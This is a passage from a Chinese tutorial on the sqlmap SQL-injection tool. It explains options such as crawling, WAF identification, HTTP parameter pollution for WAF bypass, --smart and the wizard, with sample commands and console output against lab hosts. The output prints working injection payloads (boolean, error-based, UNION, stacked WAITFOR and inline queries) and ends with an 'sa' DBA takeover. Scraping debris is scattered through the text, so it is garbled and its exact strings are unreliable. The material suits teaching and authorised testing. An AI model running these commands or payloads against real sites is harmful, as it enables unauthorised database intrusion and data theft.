参数:--reg-del ; n* o6 ?3 g8 b. K8 {注册表辅助选项 7 J0 Y G9 y- C ! H1 I6 O9 }( t% V$ R0 g/ b参数:--reg-key,--reg-value,--reg-data,--reg-type 9 c9 `. Z+ f! C/ P+ B# g" l, B7 ^# m1 T5 ? ` g9 a
需要配合之前三个参数使用,例子: / a: R2 w5 @/ \! L6 Q: k$ C/ y+ q4 ?/ [% L- ~
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=18 d4 D/ ]5 w3 G- F0 a8 i, h
% h. W$ L' Q [5 o) O( b. h
常规参数 ! L5 n6 _3 T( U X8 F从sqlite中读取session ! |- a- v# c; ~4 w + M4 [' K/ T9 Y参数:-s+ n c6 x5 j% ]
* N( `. Z' a2 {+ j; x
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。 ; \" J0 D) t0 D0 E8 a保存HTTP(S)日志 ; J9 p; z! c+ R2 B 4 Z+ t3 K- O+ W4 ~参数:-t0 Y, A1 C- Z; ^, b' N' Q
4 i! g. A+ C6 t* m, S
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。# L! L; a' P% V# `" _
非交互模式 : W$ H. f: ~1 a4 [0 W' F+ Y3 ~0 ] l
参数:--batch 5 M8 \- z+ ?) ?! Q9 {5 y$ o d+ n' e3 U& ^. d* n% U8 b, s. u
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 % |- c) J- E C) |5 E强制使用字符编码 + q( l k8 x" U! P9 Y7 N9 e, \0 L, [7 @& v; s
参数:--charset3 c2 d" R- d5 a+ v
* A1 c3 g5 |4 y
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如: 6 c0 t' q Z3 a3 J+ ~$ _" \0 p8 W+ i& F" u/ P+ R1 y3 ~
--charset=GBK $ S# a7 ^+ N9 s2 I . A8 L4 ?9 f, d6 i! h' r2 z爬行网站URL8 V$ t) n9 m1 o0 o
# Q8 z7 S3 I1 M3 ^. ?参数:--crawl: b _* t; Q) A) O
1 Y8 G4 }/ x/ S+ M* {0 M! s4 w! b" ]
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。 . C7 K- E' v- T' {# s8 Y8 b3 }6 }/ @
例子: 7 Q' u3 @6 O: |5 q. h# h6 G; A5 K : r( g+ ?1 _+ k3 Z, P, e5 H1 {+ B( [$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 & V' Y0 U5 A7 D( P[...]. `* @$ X) |. S, @# x/ Y
[xx:xx:53] [INFO] starting crawler3 }7 Z% l7 \+ K
[xx:xx:53] [INFO] searching for links with depth 1 4 _/ X2 U7 N9 N/ L[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while# R0 ~2 r! Z+ L; D0 V \
[xx:xx:53] [INFO] searching for links with depth 2+ n% g4 S5 I1 u5 Q* G1 I0 M# p6 ]
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii' $ y: N2 I/ o; s" ]9 ~5 ^& X[xx:xx:00] [INFO] 42/56 links visited (75%) 7 m4 ?- J5 }9 S" W2 }+ i[...] ! h2 ]& ^, b* N8 X5 D 8 H2 r; y' E$ [& L. o. k8 Y规定输出到CSV中的分隔符/ k( E4 x u: y" S# U7 {) G6 D
1 ~4 ~9 c" \" Z9 X; q参数:--csv-del . `& }$ y, y2 o l% Z , ]$ I$ k9 N+ C1 m) O: J当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:0 N, W. F* O) d5 g
8 ^9 o" u, u8 e8 v1 V* L
--csv-del=";"& H. N0 I: C% R: \* [7 @) d) }1 P
; d: |( g1 U4 b; u w- x% Z( L. e% R% ZDBMS身份验证 2 D% ?4 `2 v' j! ? f# q1 O8 P1 b4 b* @1 f
参数:--dbms-cred: O$ H4 i- F& O4 t: P
! q0 \4 A9 o4 i+ r5 [某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数) [ e9 i5 E7 k
定义dump数据的格式 % h ?$ b7 a0 I * J2 l4 m7 S! W( `* ?/ W3 y参数:--dump-format ) B! T3 L) Y5 e % E \- T7 \$ }- C8 o6 K输出的格式可定义为:CSV,HTML,SQLITE0 X/ O' Q1 B! Z
预估完成时间: J8 k6 p8 W* u1 q2 y/ B
' o) I1 c* k" t$ b参数:--eta ) k8 i: D9 X6 ?, t2 R. @& F, ^/ @# h: ~1 b5 ]
可以计算注入数据的剩余时间。; j5 f' n. u" i2 C4 M5 F: a, _- B
6 x) y* ^0 Q& B6 m; ^$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors" _0 h0 k1 f% ^5 V& Z W
[...] + O- Q) ?$ J* j. k: W) T Z[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test4 x* V; E3 k6 R6 i5 e
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) ( I3 m8 ~: G( {0 e! v$ m5 D+ h[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. # f5 Y7 x; t9 V" w* o<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 5 {4 R/ L* j& }1 k$ I6 U, w[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) ( m2 ?, ~% m x' \[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.$ Q, c9 I' u- f9 e* A
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 2 H5 |# \% i3 q4 A0 j[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14); y# R" o- V1 B& W8 M
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. 4 p3 {" m' m4 J/ c( e5 {! a<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' % u2 d7 e9 s/ i; H[11:12:17] [INFO] target URL appears to have 3 columns in query% X1 v5 u, D/ c% ~
[...] " v3 ~( a' {, {, {; }) l2 _1 B & [. f( ~& F% ]. J3 t( ^9 [其他的一些参数 ) S2 n! o% f9 h' n9 W6 q使用参数缩写 . l, m6 G+ u" X& C2 ?5 ^6 } x3 T1 H2 o8 g) ?% M$ Q5 ?
参数:-z% ?8 L' X9 I3 b0 N& P2 l) h
5 }& T0 U( e2 w3 t
有使用参数太长太复杂,可以使用缩写模式。 例如:( s" p. X+ s2 T' R' J2 ?' t* {$ _! [
9 M0 b! J* ~# {! k( |
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" ; m: Q: ]- E5 f
' O/ l3 E# h7 h0 w7 i( y6 g* q* O
可以写成: 7 j' c7 h% x v) \5 _0 J W5 |5 {, B! m" H7 W) j. u5 k4 t7 ]
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" ' O# o9 l7 B8 [7 A- N. }7 Q ; K. x1 q( p; M) ^2 ^) R6 ~1 F还有: ! _* S# H% T9 @& q% N" \* j! f, T% X0 w7 d
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" , Q( a1 U3 H$ P: r0 `2 _
& y! z; K+ j3 T1 K+ | A+ M
可以写成: ) R/ d9 t2 k7 Y+ k5 R9 |" @, ]4 v( N: R4 Z t! J e- n1 C
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"( j1 d3 Q2 o: H5 |+ G7 t* G
4 m! c9 H' }. B1 d( m7 f/ n成功SQL注入时警告 , l0 K7 Y, d9 {1 f3 v* K) [2 {' s9 n: S2 p
参数:--alert0 v3 f. z6 z+ h; j6 _: [/ M; e
设定会发的答案 + l( `2 T) l0 o% a9 ?' q5 L% h$ n! u* [
参数:--answers; {& M: R K8 X8 v( x
! t6 d3 x/ I# J. w& }4 ~
当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子: # a& } w; Y$ w& C/ t+ Q3 Z5 M * V2 e" D3 W+ q" C; {4 I$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch ; M& Y8 B1 D F3 h[...]+ g" ^+ {9 i8 O2 d9 U: D$ J
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' " d7 m8 X6 N7 p* {: F1 ]0 q4 }heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y5 m+ N d5 {$ \, F. a
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N 7 B. C0 F; M/ M6 _[...]+ U. }( A1 t! a3 R; |7 n! f9 X6 U2 w
" \9 ?0 l) i# D! h t& E3 t参数:--disable-coloring * ?% Z: O4 d+ M( x. F6 p+ u% o & ^* r" q; Y8 Bsqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。 5 I: u$ T" y( c$ W使用指定的Google结果页面& Q1 S: y( h+ d Y
! h2 o9 r6 C' a5 Y
参数:--gpage! V9 \2 y7 ]% Z' z g
6 ]9 {( t# Z! v8 L" \. c默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。0 g, j1 m" ?! v6 c, q: ?# m9 i" e) S. v
使用HTTP参数污染* f0 U7 ], G; d$ i" `; c
2 {% y& b3 l; p& X
参数:-hpp4 P2 c& q' J! `* I& t
1 O- k7 g/ \5 lHTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。. W$ P) t6 u- ~3 E# s
测试WAF/IPS/IDS保护* W! v. n; U" C5 ~: y+ T) p
# I& ~: B' f& J/ e6 A0 D# ~4 l
参数:--identify-waf 1 c: y# h" |4 s + O5 b: y9 ^) m. k. i m1 esqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。 . z7 b7 t$ x! f" V# o' n0 v$ L) y7 a1 \0 ~2 c% A0 Q
例如对一个受到ModSecurity WAF保护的MySQL例子:$ u& x' Z1 T% b8 O, C# \8 [
1 p* E' J/ t. \4 X- ^* @* p A
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3( E9 G n, S$ h, }
[...]! t3 W# {& V# o; w
[xx:xx:23] [INFO] testing connection to the target URL' Z% {8 P, C( X
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii' 0 I% U- ~ j2 M h0 B/ j+ p: o[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection: i T e- F. a* s
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'9 m+ j& A# L* d/ F# h) x" p
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)' 0 ?6 V$ x$ s. z$ H[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'0 |- T$ r$ S2 Z+ k: d( ~. [( Y2 `# @
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)' # H, k' B6 o) r8 L$ S[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)' ' ~# \$ V% j; U+ ~ H) y( U# S+ _[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)' 3 l9 X G/ ~* S# h. y[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)' 8 s) v7 j# M: m( o+ [+ P, h[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)' 3 k- o# C) L) Q2 ]$ z- `[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'5 X7 a7 L% z( H( @
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)' 2 i1 R( C; J. D; A2 o, _[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'8 j5 z4 b( Z; {* [
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)' 6 _( e2 M" I, C1 D[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'7 o$ d! j5 e! g) J. v" ^, g- e7 W
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1' " l7 d6 w7 I4 {1 O0 O# e[xx:xx:23] [DEBUG] page not found (404)0 B3 M* i n& N: y1 g7 R+ T/ A3 U
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)' 2 b- \1 d6 ]7 B1 J0 [6 M2 O" }[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'7 W$ ~* D% v M! U, }
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'% G- C* u: E% \9 P
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)' - Z: M/ a: g( q; c. ~% \[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'# N% `9 H& ^9 z' ~" ?: \% j+ M2 x+ n
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)', m/ P: a, N& Q9 @6 c% g/ c
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper'), Z. _$ F$ u. w: @, B
[...]5 g- D% m5 u! \6 e" r& J( {+ T0 ^
' K2 d8 Q: L6 n1 ]模仿智能手机! U4 u l4 |& v8 ^- [
7 ^2 E0 z: Y7 q l D" b1 ]+ y2 Q参数:--mobile) Z+ q2 r X7 h! G& V
* ]' a+ [+ ~0 D3 _: b& s
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。- F# G. V6 O7 s
' g, L4 R; R! L0 n
例如: " x$ L) U4 [( ^/ S- P % G3 A; i8 u4 H( H4 u$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile" L9 B7 a# Y. C: i- @, _
[...] 6 L/ u, c( Q0 gwhich smartphone do you want sqlmap to imitate through HTTP User-Agent header? 4 I9 _+ t, p; n& M; O; ^7 f9 F[1] Apple iPhone 4s (default)/ t) y, ?# E8 a
[2] BlackBerry 9900 ' I$ \. G$ j- D+ Z8 ^[3] Google Nexus 7 ; l3 p! w' Z' p2 K) t3 M) c[4] HP iPAQ 6365 # M* x* A: b9 |# o[5] HTC Sensation, b0 c- E1 X5 P
[6] Nokia N97# J9 h, F! ^* n8 r& {4 P$ B
[7] Samsung Galaxy S$ _$ e) T; [% J7 D
> 1" p: Z$ e0 D1 n0 T! R% H
[...]2 B$ g" _2 y( q5 H# y5 C
7 C& l8 Y$ B% F; m
安全的删除output目录的文件 5 n' g3 r. q0 A! c5 g. }% @+ N4 p# I6 Z/ L* d Y
参数:--purge-output / c x! Y o5 x# Q; v9 H7 p* L: [* F6 B$ E3 Z' l! R. H& H
有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。" Z, d$ g' f) P& T2 l( M4 X+ Q
8 W7 p% N' T, b9 t6 U; X
例如:8 }+ `' T- q8 D
+ F1 ]: [* m: n) `! v$ python sqlmap.py --purge-output -v 3 - | i+ z( P6 W8 H" c! P! z4 c[...]+ @! r/ x6 l; x( D# ^/ D! ^( F0 D
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...% Y$ K6 P! E0 k9 f
[xx:xx:55] [DEBUG] changing file attributes % p. O( r& W. K/ [5 z+ Y% q- b[xx:xx:55] [DEBUG] writing random data to files 9 m: ]: D$ p; Q: h1 j; L/ ~ c) J# w[xx:xx:55] [DEBUG] truncating files7 S9 y3 T5 B1 f. b$ c
[xx:xx:55] [DEBUG] renaming filenames to random values # S* v: W- G5 p+ K' F[xx:xx:55] [DEBUG] renaming directory names to random values! I2 j( @) n) \" ~4 `2 h: C
[xx:xx:55] [DEBUG] deleting the whole directory tree; G# ^& L9 V- ]+ M, L
[...]! {. I3 j! |7 R( }5 L
" _" A K r$ Y" j& ~6 O z9 ]" U
启发式判断注入& K/ e$ P1 v6 y+ ]+ _4 ^$ H
3 B7 e9 a3 | W: M! [1 e# ]$ a6 I参数:--smart3 o3 S* S, k. W" Z0 I
# K. i+ `3 a/ j/ k. D, e5 g& E有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 ' [* W3 t( d3 _8 O7 {9 J7 f ( b+ j, X1 w, m- j6 z* d例子: 8 E4 S h* y6 y% G* v , S' _0 _! P# r( ]0 |8 x& P" X. p$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart P" t( S! b6 V* s4 K
[...] 0 ]0 H: H8 n, l, v[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic' \% X3 l$ O1 F" k4 L2 l/ B
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic % f P( q9 G$ _, u$ }[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable ~7 ~9 @+ o+ ~% |1 S. ]7 s) F
[xx:xx:14] [INFO] skipping GET parameter 'ca'! N* v# r3 R" V! Q( U3 |
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic 9 j2 i7 E6 E/ u+ Y: T9 l: g% u[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic ! ]4 l& d/ h _" V9 i[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable2 \8 l" Q* M1 R% b
[xx:xx:14] [INFO] skipping GET parameter 'user'8 J/ l/ |/ t+ M% S6 p
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic, `8 t C( e% r1 O% M' E4 S% Y
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic , L1 V' {' N: s& m[xx:xx:14] [INFO] GET parameter 'id' is dynamic 2 q* j: P' g9 `. r I% r& v[xx:xx:14] [WARNING] reflective value(s) found and filtering out . F% j) B; e8 \- }[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')4 I/ G5 S9 Q& Z5 ^2 p# T" h
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id', T E# {0 T/ P8 ?) h: u1 h0 m
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y% A/ u% q1 C) @2 x2 R% @8 k
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y 9 u1 k; K$ r# i2 K; F, e8 q[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'. j0 Q7 k0 V, a, C/ c0 a
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable / Z% ^, i) X* x
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'$ W* C+ a) J2 o" |3 _+ s0 L
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable i* m( p' @! h3 n$ K) [[xx:xx:14] [INFO] testing 'MySQL inline queries'8 ~+ T2 n5 n/ q) @ T+ i# w
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries' ' F+ i5 W8 {" M" J( K9 u; r[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'% {+ Z0 i' A! z! ^8 A
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' , o7 W) E$ s, ]6 Q. G4 p F[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable ! a8 I" }. M; O7 s/ }" X
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' 3 R$ `$ }- c9 M% j Y6 c[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found* X9 f2 Q- n: E7 c5 v' h
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test! P- J, `% g+ U, [9 M6 m4 O3 w5 h! W
[xx:xx:24] [INFO] target URL appears to have 3 columns in query$ K3 d6 L$ l1 c! o4 E3 t
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable ( I, e$ O. r- Y1 _[...]4 T! s! i& y4 E* i
. r3 |: W; S! H" V2 s# U- d9 T
初级用户向导参数 9 I* _, e# a3 }( J) F4 p( w" K, _5 x+ h7 e
参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 - C& Z7 V+ z7 e6 C4 m7 C; C# q/ J0 Z% d' x9 W
$ python sqlmap.py --wizard 9 {, N' P& ^) K3 F( t/ Q7 B8 z8 n* L7 G: _
sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool ( o8 ^, \1 A: i. @0 l; Q d9 Y* C8 R( q3 I7 j
http://sqlmap.org& j% r* m0 B1 y: G* f# L: Q
* d& L; A2 h/ u" E- c; Y" `
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program . y. n0 n/ c, x+ L* ^5 c. A
starting at 11:25:26! g8 v) U: B# Z8 y' J
8 z) k8 o6 Z) K' a; P$ O
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1& c: ~, g) ]; Z) d# R6 \
POST data (--data) [Enter for None]: 5 ^( \: R: Q6 i
Injection difficulty (--level/--risk). Please choose: 8 s2 d E9 w. ~$ v4 b[1] Normal (default)/ {; U; W0 y0 h y9 j
[2] Medium: ~( u6 K4 M- x# k: B* j7 x
[3] Hard * R- u% U9 W, `1 z5 t> 17 K* a6 _( J# c, l0 a6 o. ]- @- _
Enumeration (--banner/--current-user/etc). Please choose:$ r$ x* P3 m% N3 b& X) @* J
[1] Basic (default) & W b, E J; z( A[2] Smart4 l! O( ^2 \( r+ ]
[3] All. a N6 R% ~' H( z
> 14 m5 i1 A- u% B3 F
/ x. a& X2 E. M% H! I! k0 Wsqlmap is running, please wait.. & q! {: W- z B, Q. e" h( d& F H: e
heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ( S: }. }+ W& K. w' cdo you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y8 V* O7 ~: M/ i$ e
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N, M" u0 s9 L7 U+ T" Q: R7 s# A/ R
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: 2 P$ R5 i& b% p' E--- ' y% F) a1 H9 y$ S- kPlace: GET/ e8 d3 S5 |5 |3 ]
Parameter: id6 o% m" y2 L% v4 Z
Type: boolean-based blind$ d7 k& ]% b8 |/ I
Title: AND boolean-based blind - WHERE or HAVING clause1 G& M6 @; d h: u: r$ i
Payload: id=1 AND 2986=2986 " U% s; |- v" z) t1 ~& s) O0 O: s4 ~3 p% B" M# Y
Type: error-based# c, }+ T- b5 N+ R6 G
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause e" V9 u7 T- c
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))) T- M% `: C: a
' d+ `2 o. Y, M5 |% P0 o
Type: UNION query" C3 T" f, i- Q. _$ I3 R) N6 O
Title: Generic UNION query (NULL) - 3 columns - y& H7 O0 D9 z7 v; f) e7 j% v9 B( n Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- - W8 @( Q6 q+ b1 R7 {$ y6 v 6 ^. l- x8 q0 d; `' Q" D; H Type: stacked queries , `1 P5 Y) I5 ~4 k! Z, d Title: Microsoft SQL Server/Sybase stacked queries 1 o4 r- v; N; J5 g0 g- L- q: j M5 ` Payload: id=1; WAITFOR DELAY '0:0:5'-- " u) }4 |8 @4 ? ; F9 a6 b7 m1 o7 O' v Type: AND/OR time-based blind ! ^9 L6 D0 @2 Z9 B, t _ Title: Microsoft SQL Server/Sybase time-based blind$ ^. I5 {3 h) r8 s& P" w
Payload: id=1 WAITFOR DELAY '0:0:5'--# f- s- d# }: t4 z4 v m$ A/ e0 F
]8 W4 i9 F6 d5 H5 M7 M. j$ v Type: inline query + e+ F% D' `6 J9 a, i0 ?; ~) e3 ~ Title: Microsoft SQL Server/Sybase inline queries$ N! R+ C% F- T0 {5 S
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)) 7 G4 I# |4 N: [3 K. b- B7 U--- 6 d; O* K5 U! R6 uweb server operating system: Windows XP' \. H& c! M: I
web application technology: ASP, Microsoft IIS 5.1# T" {1 j# I% `+ E, {
back-end DBMS operating system: Windows XP Service Pack 2" |. | x$ |4 X# u+ _
back-end DBMS: Microsoft SQL Server 2005' ~/ @7 t6 q/ v- E
banner: ! {3 z2 Z/ K. Z' X3 I---) v/ d% [- ~( e- s4 F5 D$ j5 v' p1 x; M
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) ( Q$ K9 k* k7 k7 F Oct 14 2005 00:33:37 5 ]; b4 E% z3 \, \' ]
Copyright (c) 1988-2005 Microsoft Corporation7 l* E! f! D. k8 S
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)# T/ v, W+ O( d0 ^
--- % `4 j+ ~' |0 |' D" M8 ncurrent user: 'sa'3 T7 B/ p" p2 O& t' Q+ A1 Z- I% i
current database: 'testdb'* u4 q8 @$ T' Z% m
current user is DBA: True